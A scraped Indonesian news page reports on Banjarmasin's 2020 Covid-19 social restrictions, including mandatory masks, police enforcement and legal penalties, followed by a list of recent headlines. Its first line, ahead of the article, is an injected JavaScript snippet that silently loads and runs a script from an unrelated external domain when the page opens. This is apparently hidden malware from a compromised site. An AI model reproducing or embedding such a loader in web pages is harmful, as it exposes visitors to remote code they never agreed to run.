(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Selama PSBB Diberlakukan di Banjarmasin, “Wajib” Pakai Masker ke Luar Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Kota Banjarmasin secara resmi mendapat persetujuan dalam penerapan pembatasan sosial berskala besar (PSBB). Lalu, bagaimana gambaran hal apa saja yang dilarang ataupun tidak dilarang selama penerapan PSBB?

Kapolresta Banjarmasin yang juga Wakil Ketua I Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kota Banjarmasin Kombes Pol Rachmat Hendrawan menjelaskan, dari sisi pengamanan jajaranya lebih mengedepankan sisi persuasif.

“Di mana, di zona merah, perbatasan maupun pusat karantina maupun karantina mandiri dijaga oleh petugas. Ini kita membackup yang tidak beraktivitas lebih,” kata Kombes Rachmat di Balai Kota Banjarmasin, Senin (20/4/2020) siang.

Ia menambahkan, jika ada masyarakat yang tidak patuh dalam penerapan PSBB, pihaknya akan mengambil tindakan, jika sudah tiga hingga empat kali diimbau namun tidak diindahkan.

“Tindakan itu berupa teguran atau surat peringatan,” imbuhnya.

Sehingga Kombes Rachmat memastikan, agar masyarakat tidak perlu takut dengan tindakan represif baik dari jajarannya maupun tim gugus tugas yang bertugas di lapangan. Terpenting, ia menggarisbawahi agar semua kalangan bersama-sama memutus mata rantai penularan Covid-19.

“Tidak ada yang signifikan tindakannya, tetapi itu adalah pelanggaran yang sekali dua kali, tetapi mereka membuat surat pernyataan,” lugasnya.

Sementara itu, Juru Bicara Tim Gugus Tugas P3 Covid-19 Kota Banjarmasin Dr Machli Riyadi menegaskan, semua warga kota Banjarmasin diwajibkan menggunakan masker selama beraktivitas di luar rumah. “Jangan sampai ketika bertemu dengan aparat baik TNI-Polri maupun Satpol PP yang tidak pakai masker disuruh pulang,” katanya,

Namun demikian, Machli menegaskan, ada sanksi yang dikenakan bagi siapa saja yang menghalangi upaya PSBB. Ini sesuai dengan Pasal 93 UU Nomor 6 tahun 2018 dengan ancaman pidana 1 tahun penjara atau denda Rp100 juta.

“Jadi kalau ada petugas baik TNI-Polri maupun Satpol PP yang melaksanakan apa yang menjadi kebijakan Pemko Banjarmasin, ada sanksinya. Hanya saja kami mengklasifikasikan sanksi yang diatur,” pungkas Machli. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.